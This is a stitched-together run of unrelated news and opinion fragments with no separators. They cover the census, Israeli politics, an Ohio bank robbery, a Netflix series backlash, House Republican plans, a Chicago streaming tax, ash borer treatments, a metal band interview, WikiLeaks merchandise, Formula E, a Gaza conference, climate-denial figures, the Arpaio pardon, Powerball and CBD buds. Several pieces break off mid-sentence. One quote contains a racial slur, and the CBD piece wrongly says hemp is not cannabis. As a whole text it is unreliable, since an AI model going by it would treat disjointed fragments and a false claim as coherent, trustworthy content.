schools, roads and a host of other things that are based on the population of a given area. The census has always been necessary, and always will be, but you can never argue with crazy people. It just makes them cling to their outrageous notions even more. They think everything is some kind of conspiracy. The lunatic fringe even has friends in Washington like Congresswoman Michelle Bachman. (R-MN) She says that her family will not answer the census, and is encouraging her constituents not to. It may have never occurred to her that one of the congressional districts that could go "poof" if it is undercounted is hers. We will have to wait and see how this turns out. We probably cannot get an accurate count this time, thanks to the tinfoil hat crowd. Paranoia will destroy ya, as an old song says. HOME Your Ad Here.JERUSALEM -- Israel's prime minister has publicly rebuked a top general for comments appearing to liken the atmosphere in Israel to that of Nazi-era Germany. Benjamin Netanyahu says Sunday that Maj. Gen. Yair Golan, the military's deputy chief of staff, erred when speaking on the country's annual Holocaust memorial day. Golan sparked outrage, particularly among nationalists, for saying that he sees evidence in present-day Israel reminiscent of the "nauseating processes" that took place in Nazi Germany. "There is, after all, nothing easier and simpler than hating the foreigner... arousing fears and terrifying," Golan said, according to the BBC. The defense minister, military chief and other officials came to his defense, saying that he was warning of troubling trends in society. But Netanyahu called the comments outrageous, saying at his weekly Cabinet meeting that "they cause harm to Israel and cheapen the Holocaust." "The comparison drawn in the words of the deputy chief of staff regarding events which characterised Nazi Germany 80 years ago is outrageous," he said, the BBC reports. Cabinet Minister Miri Regev has called for Golan's dismissal.SEPTEMBER 24--A couple arrested this week for robbing an Ohio bank posted photos to Facebook showing them posing with stacks of cash in the days following the crime, police report. John Mogan, 28, and Ashley Duboe, 24, are charged with the August 24 robbery of a bank in Ashville, a village 20 miles south of Columbus. Investigators allege that Mogan walked into the bank and gave a note demanding money to a teller, who then handed over cash. The above surveillance photo shows the hoodie-wearing robber leaving the bank with a stack of currency in his hands. Mogan is a convicted felon who was just released from prison after serving about five years for robbing a bank in Lancaster, a city 20 miles east of Ashville. A female accomplice was also arrested in connection with Mogan's July 2010 robbery of a Fairfield National Bank branch. Mogan began serving a three-year parole term immediately following his July 19 release from an Ohio state lockup. The heavily tattooed Mogan has the phrases “Loyalty’s Thin” and “Betrayal’s Thick” on opposite cheeks. Investigators allege that prior to driving Mogan to the Ashville bank, Duboe applied makeup to his face and neck to cover numerous tattoos. According to police, four days after the bank robbery, Mogan--with fans of cash in each hand--and Duboe posted a Facebook photo showing them embracing. A “selfie” posted August 31 shows Mogan with a wad of bills in his mouth. The image prompted a relative to complain that the flush Mogan “didn't hook a brother up.” Referring to the loot, Mogan replied, “That's called a McStack.” He then noted that, “I got six bands bra real shit nigga,” before adding, “I'm doing rrree=aaaaalll) good.” Other photos posted to the Facebook page shared by Mogan and Duboe show Mogan pretending that the brick of cash is a phone, as well as his lunch. Mogan and Duboe, seen in the above mug shots, have each been charged with robbery and theft, both felonies, and are locked up in lieu of $250,000 bond in the Pickaway County jail. (4 pages)Lionsgate Netflix just dropped the trailer for their latest series, a show based on the 2014 indie hit Dear White People, and it’s outraged a loud group of dummies. How pissed are they? Well, there’s a small, vocal group demanding that Netflix either cancel the show or suffer the consequences of dealing with lost subscriptions from those who believe that the show promotes an “anti-white” and “anti-European” agenda. Some former subscribers, their cancellation notices posted prominently on Twitter, are already suggesting that the show is all about white genocide (which, I’ve got be real clear here, isn’t a thing). What offends them about the show? It’s not exactly clear, although the title may have something to do with it. Apparently, since a show called Dear Black People wouldn’t be allowed to air — do we need it? — releasing one that targets whites for an “education” is racist and bad and shouldn’t ever see the light of day. Never mind that the show’s trailer, which features an African-American woman talking about how doing blackface at Halloween is unacceptable isn’t in any way traumatizing or outrageous. It’s simply discussing something which lots of people don’t understand is wrong. Check out the trailer for yourself: Share This Video Facebook Twitter EMAIL Nothing to get too upset about, right? Wrong! Because the same vocal minority that calls liberals “special snowflakes” and has a rage stroke when the words “safe space” are whispered 100 miles away are now wringing their hands at the thought of television informing them that casual racism is alive, well, and thriving in 2017.Majority Leader Eric Cantor Eric Ivan CantorPelosi warns GOP: Next president could declare national emergency on guns Ousted GOP lawmaker David Brat named dean at Liberty University business school Trump, GOP seek to shift blame for shutdown to Pelosi MORE (R-Va.) told House Republicans on Friday that they will soon get a chance to vote a full repeal of ObamaCare. ADVERTISEMENT "While we have not locked in the timing, I expect that the House will vote on full repeal of ObamaCare in the near future," he told members in a memo Many Republicans have been eager to vote against the 2010 healthcare law, as they did last year. But so far, GOP leaders have refrained from calling up a repeal bill and instead tried to pass a tweak that failed to win enough GOP votes in April. Last month, the party proposed a bill that would have eliminated what Republicans say is a "slush fund" within the law and used that money to fund an insurance program for people with pre-existing conditions. But leaders ended up pulling the bill after it became clear that many conservatives were on the fence about propping up the insurance plan. In a memo, Cantor said he expects a "full legislative agenda" in May, which he said would also include a GOP bill to keep federally subsidized student loan interest rates at 3.4 percent. Last year, Congress kept those rates — scheduled to rise to 6.8 percent this summer — at the lower level, but only for one year. "In light of this, Chairman Kline and the Education and Workforce Committee will produce a bill to replace the legislatively fixed interest rate with an interest rate tied to market rates for federal borrowing," Cantor wrote. "In the near-term this is expected to provide an interest rate lower than the 6.8% fixed in law and over the long-term provide savings for taxpayers. "This bill takes Congress and politics out of setting interest rates and provides a long-term fix to the interest rate cliffs initiated in 2007." On other issues, Cantor said the House would also work in May on a proposal to help fund pediatric disease research. That bill is H.R. 1724, the Kids First Research Act. A range of other issues are also expected, including more House pressure on the Obama administration to approve the Keystone XL pipeline. "We will push the administration to finally approve the Keystone pipeline delivering much needed jobs and lower energy prices for families," he wrote. "We will ensure that working moms and dads in the private sector have the same freedoms and flexibility currently offered government employees. "We will reform our student loan process and hold the [Securities and Exchange Commission] accountable so that business can be assured of more certainty and less red tape." The Keystone pipeline bill is H.R. 3, the Northern Route Approval Act, from Rep. Lee Terry (R-Neb.), which would grant approval for the northern portion of the pipeline that would cross into Canada. The SEC bill is H.R. 1062, the SEC Regulatory Accountability Act, which would require the SEC to run cost-benefit analyses on regulations. The bill on workplace flexibility — the Working Families Flexibility Act — is expected to come up next week. It would give private sector workers the option of using overtime hours for time off instead of getting overtime pay. The Full Faith and Credit Act, H.R. 807, will also come up this week. That bill, which Republicans overhauled last month, would allow the government to continue borrowing money to make interest payments on the debt, and help pay interest costs associated with the Social Security Trust Fund. Over the summer, Cantor said the House would start the annual appropriations process, and a farm bill. — Updated at 1:27 p.m.Chicago's move to extend its taxing power to Internet streaming services like Netflix and Spotify has been challenged in court by a group that argues the city didn't have the authority to create what amounts to new taxes. In a lawsuit filed this week in Cook County Circuit Court, the nonprofit Liberty Justice Center says the city Finance Department's rulings in June extending two taxes were illegal. The department posted letters online announcing that the city was extending the 9 percent amusement tax to include paid subscriptions for streamed digital music, rental movies, TV shows and games, and also extending the personal property lease transaction tax to professional services like electronic property databases used by real estate agents. The ruling applied the new standards to subscribers with Chicago addresses, and city officials said they expected the changes to bring in about $12 million annually in the latest example of Mayor Rahm Emanuel boosting various smaller fees and fines to try to help close the city's gaping budget hole. The lawsuit argues that aldermen should have gotten to vote on the changes. "The Comptroller has exceeded his authority under the ordinance by issuing a rule that imposes a new tax that the City Council did not authorize in enacting the Amusement Tax," the suit reads. "No aldermen voted on this tax. It never went before the Chicago City Council, which makes the so-called 'Netflix tax' an illegal tax," Jeffrey Schwab, an attorney with the Liberty Justice Center, said in a news release Thursday. "If the city wants to tax Internet-based streaming media services, then it should put the measure through the political process, and let Chicagoans have their voices heard through the democratic process." The suit also argues that the levies violate the federal Internet Freedom Tax Act because they tax some Internet-based streaming media at a higher rate than similar services not delivered via the Internet. The city's Law Department released a statement saying it intends to vigorously fight the lawsuit. "The City has not yet seen the complaint, but we are confident that the ruling is a valid application of the existing Amusement Tax," department spokesman John Holden said in an emailed statement. Emanuel has turned repeatedly to increasing smaller taxes and fees to help fill the city's coffers. In May he introduced a plan to require off-site parking companies at Chicago's airports to share their revenue with the city in exchange for pickup privileges at O'Hare and Midway airports. The mayor also has raised fees for parking at downtown garages and cable TV and telephone line 911 service taxes, among others. jebyrne@tribpub.com Twitter @_johnbyrne"We can expect all untreated ash in the city to die," Neumann said. Half of the trees on Stephanie Drive are tagged with a bluish-green "I" spray painted on their trunks, indicating they have been injected with TreeAzin. This is the first year the city has injected trees with this product. So far, 554 trees have been treated. For TreeAzin to be effective, trees must be injected while they are relatively free of the ash borer. Injections are made at the base of the trunk using pressurized devices to force the product into the tree. The cost of the treatment is measured by the thickness of the tree. Homeowners may pay between $5 and $7 per centimetre of the tree's diameter. A typical mature ash in a backyard might cost a household around $200 per year to treat. Neumann said the city is paying less than that, this year spending just under $100,000 to treat about 23,000 centimetres of ash trees. These treatments are not a one-time-only affair. The injections will need to be continued every few years, as long as a high population of ash borer exists in the area. The city's official plan suggests treatments will need to continue for at least 10 years. In 2015, the city is aiming to inject about 550 trees again, Neumann said. The number of injections will be limited by the city's budget and whether or not staff is able to identify other mature trees still untouched by the ash borer. Some of the previously injected trees will need treatment again, while others will be good for another year. If a tree is unstable and poses a safety risk, it will be cut down. The cost of taking down a large tree could be around $1,500 or more. The removal of smaller trees tends to cost less. When trees are cut down the branches and trunk are run through
it’s always been more about that. It's not just having as it as a convenient hook for something to sing about, either— it’s a genuine statement of analysis, critique, and exposé. Photo courtesy of Century Media It must be a a funny thing seeing people moan that the PC police are taking over metal, just because more bands are becoming aware of certain issues and have become more willing to speak out. I think that the whole term itself, “PC,” has always been a very convenient term to attack people that actually care about people, and care about treating other people with dignity, you know? It’s absurd. Don't get me wrong, people are entitled to their own opinions; everybody should have one that wants one. I don’t really mind too much about that, but I actually laugh because it's just so strange that people hold those views. Even in heavy metal, for example, you find some of the most homoerotic imagery, and you think that would really be a bit of a sticking point with a lot of those people. Go figure. You've never slowed down, either; the past few years have seen a lot of big name reunions and comebacks, but Napalm Death has always just been out there killing it. We’ve always had a problem with spontaneity in terms of writing music, and we always appreciate the value of noise and chaos. And that helps us; if we record something and it sounds too stilted, we’ll just ditch it and find something that’s a bit more chaotic. We love it, we like that freedom, of almost going off the risers. We matured during the 90s, when if you played extreme music you couldn’t get arrested or anything [laughs]. You’d show up at some of the places in Germany and there’d be like fifteen, twenty people, but even so, we’d still play for the fifteen or twenty kids who didn’t have to spend their money to go into those gigs, and so they’d get the same as they do now—a hundred percent gig. Nothing more, nothing less. I can’t just do something and go through the motions, I have to do it properly. It’s just a given for us, really. After all this time, do you still feel like a DIY band? We’ve got that mentality. Sure enough, we’ve got a record label, we’ve actually got a manager as well, but we’re not dummies; we don’t sit there and take whatever people say. We actually get involved; we live and die pretty much by our own decisions, you know? It's a good thing to have, that kind of control. Lose sight of it, you’ll have your penalty, is what I would say. Because that’s when things start to slide, when people lose them. Kim Kelly is revisiting 'Scum' on Twitter.WikiLeaks founder Julian Assange may be stuck in the UK’s Ecuadorian embassy, but he’s not wasting time. The famous whistleblower is planning to launch his own line of clothes and accessories to challenge the Che Guevara brand’s success. "India is one of the countries where awareness about WikiLeaks is the highest and Julian is excited about the proposition," Olafur Vignir Sigurvinsson, an Iceland-based WikiLeaks representative,toldthe Times of India. Sigurvinsson told The Washington Post that WikiLeaks will sell "high-end fashion apparel, accessories, household goods, paper goods… that kind of stuff." WikiLeaks had "fashion designers in France and in other places who wanted to co-brand their products," Sigurvinsson added. According to Olafur, WikiLeaks is also looking for partners in India, “who can manage the property and translate it into retail and e-retail platforms." Franchise India is reportedly facilitating the brand’s entry into the country. "Earlier, it was very difficult to reach out to consumers through the brick and mortar route. For instance, by the time we could distribute Spiderman movie merchandise to traditional retailers, the craze for the movie would die. But now, it's different with millions of people logging on to e-commerce sites every day," Gaurav Marya, chairman of Franchise India, told TOI. WikiLeaks is also looking for an exclusive partner to help to distribute its T-shirts with typical-WikiLeaks slogans, such as "leaks exposing justice" and "enemy of the state". According to WikiLeaks representative, the organization has already “spoken to agents in every country in the European Union, as well as others in Asia and North Africa.” Assange is hoping to imitate the popularity of the brand of the famous Argentinian Marxist revolutionary Che Guevara. Clothes and accessories with the iconic Che image enjoy huge popularity worldwide. Some WikiLeaks products are already available on the organization’s website. The slogans “Hackers of the world unite” and “Declare independence Encrypt!” can be seen on T-shirts. Sigurvinsson added that the monetization of the brand can help rake in additional funds for the group, which mainly relies on donations.The former Williams, Lotus and HRT F1 driver, has been a part of the Mahindra team since Formula E's inception, could bring to a close a single-seater career that stretches back to 2004. Motorsport.com has learned that Mahindra will announce a new teammate for Nick Heidfeld, who will remain with the Indian squad for a second season, later this month. Senna, who is also driving for the RGR Sport LMP2 squad in WEC this season, therefore has just one option to continue his Formula E career – with Jaguar. “We don’t know yet. I’ve been chatting around, things look like they are going one way and then they change around," Senna told Motorsport.com. "I’ll be honest, I’m focussed on doing WEC, and McLaren has also grown a lot on my schedule. They’ve expressed that they want to continue next year with an expansion of plans. “So if Formula E isn’t confirmed, the other things I have are going to take priority. "I should know in the next couple of weeks if I’m doing Formula E or not, and with whom if I am doing it, but I’m pretty relaxed about it." Jaguar an ‘attractive proposition’ Senna is believed to have been approached by Jaguar, whose technical alliance with Williams Advanced Engineering has brought Senna, a Williams F1 driver in 2012, into the frame for at least a test with the British marque. However, Senna’s employment by McLaren and its anticipated expansion with its GT3 programme in 2017 is likely to thwart any multiple programme. "I’m with McLaren – so unless my deal with them doesn’t continue, then it’s difficult to be with two competing British brands at the same time,” he said. “[Jaguar] is of course a very attractive proposition, they are a strong team, and they’ve been developing the car for a while now, probably longer than any other team. "We’ll see, but I couldn’t be with them and McLaren at the same time." Jaguar is expected to test several drivers in public testing at Donington Park later this month. Motorsport.com understands that, in addition to Adam Carroll, who has conducted most of the testing so far, several other drivers will get seat time in the new Jaguar I-Type 1 before the team confirms its season three line-up. Formula E season three grid so far:A conference that opened in Sderot Monday, called 'Gaza-Sderot', brought a number of Palestinian residents of the Strip to the nearby southern town, where they stayed the night. The delegation was meant to include 30 people, but only 15 succeeded in gaining entry into Israel after fervent security measures. More on Gaza Money woes drive Gazans to collaborate with Israel AFP Dozens of Palestinians jailed by Hamas for passing on information to Israel about armed groups operating in Strip for a few hundred shekels Money woes drive Gazans to collaborate with Israel Some of the representatives were hopeful. "If they succeeded in overturning the regime in Egypt, which is no less harsh than Hamas, then the Hamas regime can be toppled as well," one participant said. He added that residents of the Strip "speak through social networks. Our advantage is that the internet cannot be blocked because the servers are in Israel." Still, fear is rampant, he said, recounting efforts at staging an anti-Hamas protest last week, which went awry. "The attempt was blocked at the last minute. We talk amongst ourselves but there is always a chance that one of the speakers is a representative of Hamas," he said. The conference met with much opposition on both sides. Though only a few residents of the Qassam-riddled town protested against it, Mayor David Buskila refused to participate because of the Palestinian guests. Sha'ar Hanegev Regional Council head Alon Schuster was in attendance, but called ahead of time for the invitations to Palestinians to be withdrawn. Also at the conference was UNRWA spokesperson Chris Gunness, who gave a talk about conditions in the Strip. He said 60,000 homes had been destroyed so far in the Strip, and that unemployment had reached levels of over 50%. Gunness added that Israel must begin allowing construction supplies into Gaza.Competitive Enterprise Institute The libertarian Competitive Enterprise Institute has sponsored paid advertisements, op-eds, and blogs that misrepresent scientific research to downplay the threat of climate change. CEI's director of energy and global warming policy Myron Ebell shed light on their motivation to muddle the science on the PBS Frontline special "Climate of Doubt": We felt that if you concede the science is settled and that there's a consensus, you cannot -- the moral high ground has been ceded to the alarmists. By dismissing the scientific consensus that human activity is contributing to climate change as "phony," CEI can justify standing in the way of government action to reduce emissions. To make its case, CEI dispatches its "experts" -- many of which have no scientific background -- to do media appearances and op-ed pieces casting doubt on climate science and opposing any potential solutions. Ebell has been cited by Fox News, Forbes and even CNN as an energy and environmental policy expert. Senior Fellow Marlo Lewis Jr. has written in Forbes, National Review and the National Journal opposing clean air rules. CEI has received funding from the American Petroleum Institute, ExxonMobil, Texaco, General Motors and the Koch Family Foundations among other fossil fuel interests over the last decade. Chris Horner And The American Tradition Institute Perhaps the most visible member of CEI's environmental team is Chris Horner, a lawyer who often appears on Fox News to cast doubt on climate science and claim that scientists are manipulating temperature data to manufacture a warming trend. At both CEI and The American Tradition Institute (ATI), Horner has filed Freedom of Information (FOIA) requests in an attempt to access anything to embarrass climate scientists. The American Tradition Institute (ATI) is a free-market think tank focused on blocking environmental regulations and "battling radical environmentalist junk science head on." ATI was launched in 2010 by the American Tradition Partnership (ATP), an industry-backed advocacy group that has fought campaign finance disclosure laws and was accused in the 2010 election cycle of corruption and money laundering. ATI is funded primarily by ATP and a handful of individuals and foundations with ties to the oil industry. ATI Executive Director Tom Tanton is an energy industry consultant who has conducted research for the American Petroleum Institute and formerly served as the vice president of the oil industry-funded Institute for Energy Research. Weather forecaster Joe Bastardi and climate skeptic blogger Steve Milloy serve as advisors to the think tank. Manhattan Institute And Robert Bryce The Manhattan Institute is a free-market think tank that advocates a "pro-growth" agenda on fossil fuels and downplays the scientific consensus on climate change. It's website states that it is "unclear" whether human activity is contributing to rising global temperatures, adding: "Despite the certitude with which the media and politicians treat the issue, the science remains muddled." The Manhattan Institute has received funding from ExxonMobil and the Koch Family Foundations over the last decade. It previously questioned the science on the health effects of tobacco after receiving funding from the tobacco industry. Robert Bryce, a Senior Fellow at the think tank, regularly authors op-ed pieces for prominent mainstream and conservative publications and appears on Fox News promoting fossil fuel production and downplaying the potential of renewable energy. On climate change, Bryce has said: "I don't know who's right. And I don't really care." In a Wall Street Journal op-ed, Bryce claimed that the "science is not settled, not by a long shot." He went on to suggest that a report of neutrinos that travel faster than the speed of light is sufficient reason to question climate science. Heritage Foundation The Heritage Foundation, one of the country's most influential conservative think tanks, casts doubt on the scientific consensus that human activity is contributing to climate change and opposes efforts to limit greenhouse gas emissions. A 2010 white paper states: "The only consensus over the threat of climate change that seems to exist these days is that there is no consensus." Senior Policy Analyst Ben Lieberman has said that "global warming is clearly not a crisis and should not be addressed as one." Citing presentations on "Climategate" at a Heartland Institute conference, he accused UN scientists of conspiring to "manufacture a global warming crisis." Heritage runs an online database of policy "experts" that includes climate contrarians Fred Singer, Cato's Patrick Michaels, Heartland's Joseph Bast, CEI's Myron Ebell and Chris Horner, and JunkScience.com's Steve Milloy. The Heritage Foundation has received funding from ExxonMobil and the Koch Family Foundations. Cato Institute And Patrick Michaels The Cato Institute, a libertarian think tank, contributes to the climate confusion by amplifying the voice of Patrick Michaels, the only climate scientist on our list of prominent climate contrarians. Michaels, who previously estimated that "40 percent" of his funding comes from the oil industry, is Cato's sole climate change expert. He is frequently quoted by major media outlets and has a Forbes column that he uses to downplay the threat of climate change. Other scientists have criticized him for misrepresenting their work. Cato was co-founded by Charles Koch and has received millions from the Koch family. Past corporate donors include ExxonMobil, General Motors and the American Petroleum Institute. UPDATE (7/11/13): Michaels has also made several claims that have been proven wrong over time. For instance, he "bet" that there would be a "statistically significant cooling trend" from 1998 to 2008. There was not. American Enterprise Institute In 2007, The Guardian reported that the conservative American Enterprise Institute (AEI) was offering scientists and economists $10,000 each to write articles critical of the IPCC Fourth Assessment Report on climate change. The Guardian noted that AEI has received substantial funding from ExxonMobil and that former Exxon CEO Lee Raymond -- a vocal climate change skeptic -- served as AEI's Vice Chair. AEI criticized the story, saying they merely sought to subject the IPCC report to "serious scrutiny and criticism" but were not doubting the "existence of global warming." Nevertheless, AEI scholars have repeatedly downplayed the threat of climate change. Steven Hayward, who writes for National Review, has said that climate concerns are based on "propaganda" and that efforts to reduce emissions are "based on exaggerations and conjecture rather than science." Former AEI president Christopher DeMuth acknowledged in 2001 that the earth has warmed but claimed "it's not clear why this happened." But some other AEI scholars have endorsed a carbon tax to reduce greenhouse gas emissions. Marc Morano Marc Morano runs the climate denial website ClimateDepot.com. He previously worked for Rush Limbaugh and Sen. James Inhofe (R-OK) -- both vocal climate change deniers. Although he has no scientific background, Morano has declared that the science of manmade climate change is "collapsing." He has called global warming a "con job" and said that climate scientists "deserve to be publicly flogged." Morano often appears on Fox News to spread misinformation on climate change, and Rush Limbaugh has repeatedly used his material to attack climate scientists. Climate Depot is sponsored by the Committee for a Constructive Tomorrow (CFACT), a conservative think tank that has received funding from ExxonMobil and Chevron. CFACT dismisses the scientific consensus on climate change and maintains that "real world evidence" shows that "global warming claims are failing." To spread its message, CFACT organized the Copenhagen Climate Challenge -- a conference of climate contrarians -- to coincide with the UN climate conference in 2009. UPDATE (12/5/12): CFACT's 2011 financial disclosure form reveals that it received over $300,000 from Donor's Trust, an anonymously funded group that PBS called the "number one supporter of the groups" that deny climate change. It lists Morano as the highest paid member of its staff at a salary of over $150,000 a year. Anthony Watts Anthony Watts, a former television weatherman and climate skeptic who believes the U.S. temperature record is "unreliable," runs the blog Watts Up With That. The blog features the fringe views of climate misinformers like Christopher Monckton and Fred Singer as guest authors and conservative media have previously seized on its misleading content. In 2009, Watts was a driving force behind the controversy over leaked "Climategate" emails. In September 2012, he was at the center of a controversial PBS segment that aired his views as a "counterbalance" to climate experts without mentioning his ties to the industry-funded Heartland Institute. Watts was paid by the Heartland Institute for his work on temperature stations and is a regular speaker at Heartland conferences. Steve Milloy Steve Milloy is a lawyer and former tobacco industry consultant who was hired by the American Petroleum Institute to develop a PR strategy to downplay the threat of climate change. He has called those concerned about global warming "whacked out, intellectually and morally bankrupt." The Washington Times regularly publishes columns by Milloy, and he frequently appears on Fox News to dismiss the need for government action to address climate change and air pollution. Milloy runs JunkScience.com, which has previously obscured the risks of pesticides, ozone depletion, breast implants, asbestos and secondhand smoke and now seeks to similarly "debunk" global warming. The site was initially sponsored by The Advancement of Sound Science Coalition (TASSC), a now-defunct PR front group funded by tobacco giant Philip Morris to downplay the danger of cigarette smoke. TASSC later received funding from Chevron, ExxonMobil, Dow Chemical, Occidental Petroleum and other corporate donors. JunkScience.com is currently run by the Citizens for the Integrity of Science (CFIS), which does not disclose its donors. Joe Bastardi Joe Bastardi is a meteorologist for WeatherBell Analytics, where he provides weather forecasts for energy companies and other corporate clients. He also serves as an advisor to the American Tradition Institute and a Fox News contributor. Although he has no climate expertise, Fox regularly turns to him to analyze climate research. Bastardi, who has called manmade global warming "an obvious fraud," has often been criticized by scientists for his "utter nonsense" on climate change. Bastardi is not the only dubious source of climate misinformation on Fox News. Fox anchors and contributors regularly mock the threat of climate change and suggest that winter weather invalidates global temperature records. Rather than talking to actual climate scientists, the network turns to industry-funded climate denialists -- including CEI's Chris Horner, the Manhattan Institute's Robert Bryce, Climate Depot's Marc Morano and JunkScience.com's Steve Milloy -- to mislead its viewers on climate science. Fox Nation, a branch of FoxNews.com, regularly cites the British tabloid The Daily Mail and distorts climate research to declare that global warming isn't happening. Matt Ridley Science writer Matt Ridley frequently uses his Wall Street Journal column to dismiss the threat of climate change and argue that climate scientists should not be trusted. Ridley has suggested that "the threat of a dangerously large warming is so improbable as to be negligible" and has compared climate scientists to eugenicists. The Journal does not disclose that Ridley is an unpaid advisor to the Global Warming Policy Foundation, which was founded by the chairman of a company that represents several major oil companies. The Wall Street Journal editorial page has also cast doubt on climate change, calling it a "fad-scare" and claiming that the science is "disputable." In January 2012, the Journal published an op-ed by 16 scientists and engineers -- most of which do not conduct climate research -- to muddle the science and undermine action on climate change, yet reportedly rejected a climate change essay by 255 members of the National Academy of Sciences. Larry Bell Larry Bell, an architecture professor who has not published any peer-reviewed climate research, wrote Climate of Corruption, in which he argues that "politics is responsible for the global warming hoax." Forbes provides Bell a weekly column where he often casts doubt on manmade climate change, which he incorrectly says is "based upon speculative theories, contrived data and totally unproven modeling predictions" when in fact there are several observed lines of evidence of rapid climate change.President Trump issued his pardon of former Sheriff Joe Arpaio apparently without a Justice Department recommendation or even consultation, according to various outlets citing unnamed officials. It is a question that should be asked. Was anyone consulted at all? If so, what was the response? The pardon statement issued by the White House this evening was brief, and damningly so. Assume that a president wishes to issue a pardon he knows to be controversial. This seems to be such a case: the pardon of a law enforcement officer convicted of willfully defying a court order, issued only weeks after the court decision and well before the appeal the lawyers announced or any sentencing. It would seem that in exercising the power the President would anticipate the questions his highly unusual and controversial pardon raises and attempt to answer them. An example of such an undertaking is George H.W. Bush’s 1,346-word statement explaining the pardon of the Iran-Contra defendants. This White House could muster in the Arpaio case only two paragraphs paying tribute to the former Sheriff’s “service” to the nation and citing his age (85). Notably missing from the White House statement was the reason Mr. Trump gave at his political rally in Phoenix. He indicated then that Arpaio was “convicted for doing his job.” In other words, he suggested then, as he did not in the official pardon statement, that there was something defective in the conviction. One can only speculate about the reasons for the omission. The White House Counsel and others may have advised Trump that, there being no apparent, much less established, basis for an attack on the conviction, it was best left out of the statement. Any suggestion that the court meted out an injustice to Arpaio would also have invited the question of why the President did not allow an appeal to go forward. After all, if the injustice was so grave, then he would have to have some confidence that an appeal would be successful. Trump went ahead with the pardon, and the reasons having nothing to do with injustice, or the public welfare, can explain it. He has political problems with his right flank—with the Steve Bannons and the Sebastian Gorkas who are loudly protesting the ascendancy in the White House of Republicans lacking their revolutionary vision. The President made clear in his theatrical preview of the pardon at the Phoenix rally that the Arpaio pardon works well as a gesture to this political constituency—a reaffirmation that he remains the candidate they voted for who will keep what Gorka, in his resignation letter Friday, called the “MAGA promise.” Trump asked the Phoenix crowd if they liked Sheriff Joe, and they roared back their approval. Now he has delivered. It all seems to come down to that: Trump disrupted the operation of the criminal justice process to score a political point, and he believes that the “complete power to pardon” gives him all the space he needs for this maneuver and requires of him only the most pro forma, meaningless explanation of his action. He has managed, however, to make a very clear statement about the “rule of law” in his government, and he has miscalculated if he somewhat imagines that it will not come back to haunt him.ARLINGTON -- Maybe today will be Daphne Banks' lucky day. Banks bought three tickets for tonight's record $550 million Powerball jackpot drawing -- the world's second-largest lottery jackpot ever. "I feel lucky every day I play the lottery," Banks, a 51-year-old Arlington woman, said with a smile. She played the same two sets of numbers she always does when buying a Powerball ticket (a combination of birthday, anniversary and other special dates) and she bought a Quick Pick to boot. Sign Up and Save Get six months of free digital access to the Star-Telegram Banks is among countless hopefuls flocking to convenience stores in Texas and nationwide this week, buying tickets for tonight's Powerball drawing. So many people are buying tickets, in fact, that officials today bumped the drawing from $500 million to $550 million. And they potentially could end up increasing the amount again before tonight's drawing. Only one lottery jackpot ever has been larger than tonight's: the $656 million Mega Millions jackpot back in March, which was won by three different players in Illinois, Kansas and Maryland. Sales continue booming in Texas, with sales through adding up to more than $5.1 million. Each minute, more than $22,000 in tickets are being sold. Through midnight Tuesday, more than $850,000 of Powerball tickets had been sold in Fort Worth, according to the Texas Lottery Commission. "Powerball sales in Texas are phenomenal," said Gary Grief, executive director of the lottery commission. "Texas is long overdue for a Powerball jackpot winner and we hope a Texan claims [tonight's] jackpot." Powerball is a multi-state lottery that began in 1992 and Texas joined in 2010. Players win by correctly matching five numbers from a field of 59 -- as well as the Powerball number, which players choose from 35 numbers -- on a $2 ticket. Players who match all the numbers except for the Powerball win $1 million, or $2 million if they purchase a $1 add on Power Play feature. Tickets will be sold until 9 p.m. for the drawing that will be conducted at 9:59 p.m. The odds of winning the jackpot are one in 175,223,510. The odds of winning any prize are one in 32, according to the lottery commission. Lucky feeling? If no one wins the Powerball jackpot tonight, the next drawing on Saturday could be the world's largest. Gary Harnist knows the odds of his winning the jackpot aren't great. But that didn't stop him from buying 10 tickets Tuesday at Chuck's Grocery, a small convenience store in central Arlington that consistently ranks among the top lottery sellers in Texas. "I'm just trying," the 52-year-old Mansfield man said. He has a mental list of what he would do if he won: pay off his house, give to charity, set up college funds for his children. "I would invest and live comfortably for the rest of my life," he said. When asked if he feels lucky, he smiled. "I hope," Harnist said. "You always have that dream." Tonight's jackpot started as a $40 million drawing on Oct. 6 and has grown during the 15 draws it has gone without a jackpot winner. The last winning Powerball jackpot ticket was sold in Delaware on Oct. 3. The biggest Powerball drawing jackpot ever was a $365 million prize won in Nebraska in 2006, according to the lottery commission. Count Robert Crevier of Fort Worth is among those hoping to win tonight. On Monday, the 61-year-old bought 20 tickets for tonight's Powerball drawing. He knows what it feels like to have a winning ticket, even if it's not for the grand prize. Last year, he matched four of five numbers, plus the Powerball, to win $40,000. "I was shocked the next morning when I checked the numbers on the Internet," Crevier said. "I checked them about six times and said 'It can't be.'" But it was, and he and his wife bought a travel trailer with their winnings, which they've used for a few road trips, including one to Corpus Christi this past summer. He still buys tickets for various lottery drawings, as he has since the Texas Lottery went into effect in 1992, and hopes to have a chance to match all the numbers. Soaring sales On Sunday, ticket sales were up more than 300 percent over the previous Sunday. By Monday, sales in Texas were up 577 percent over sales last Monday, according to the most recent numbers provided by the Texas Lottery Commission. "Whenever we have these historic jackpots, we see a tremendous increase in sales, which means more revenue for public education in Texas," Grief said. Amyn Muhammad, who works at a Shell gas station in Fort Worth, has seen at least one customer buy $100 in tickets, but typical sales are more likely to be $10, $20 or $50 a pop. And Sadia Shahbuddia, who works at Mr. Jake's Food Mart in Fort Worth, said customers generally have been buying one, two or three tickets at a time -- although some bought in larger quantities. After every purchase, Shahbuddia offers well wishes. "I tell everyone good luck," she said. "If I forget to say it, they remind me." Maybe her offerings of luck will bode well for herself. She even bought a ticket for tonight's drawing. "You never know," she said with a grin. Anna M. Tinsley, 817-390-7610 Twitter: @annatinsleyWhat are CBD buds? Quietly, shops have started selling CBD rich hemp flowers which look exactly like normal cannabis. This was news to me until recently. These ‘CBD Buds’ are not actually created from the cannabis plant, but they look exactly like weed. They have been grown using the hemp plant, and bred to contain other beneficial cannabinoids apart from THC. When you smoke a joint, it’s not just the THC that affects you, so what has happened is ‘legal’ cannabis has been developed using hemp buds. (As they have very low levels of THC.) Buds without THC? Yes no THC. So the effects are going to be different to cannabis. However, the effects are not fundamentally different. The cannabinoid CBD which is present in large amounts of hashish is present in this bud, and that in itself has a diverse range of medical properties, so these types of bud are actually ideal for people looking to reduce anxiety. Something many medical users are looking for in cannabis. There are many other cannabinoids in the cannabis plant as well as THC, and these all have marvelous and unique attributes themselves. Here’s just a few. Image:Grahamhancock.com If you tried skunk and found it all a bit much then this very different approach to cannabis might just work for you. Also you don’t have to smoke these flowers. You can vape them, use hashish, oils, whatever. It’s a whole new world of cannabis products, just without the THC. Law 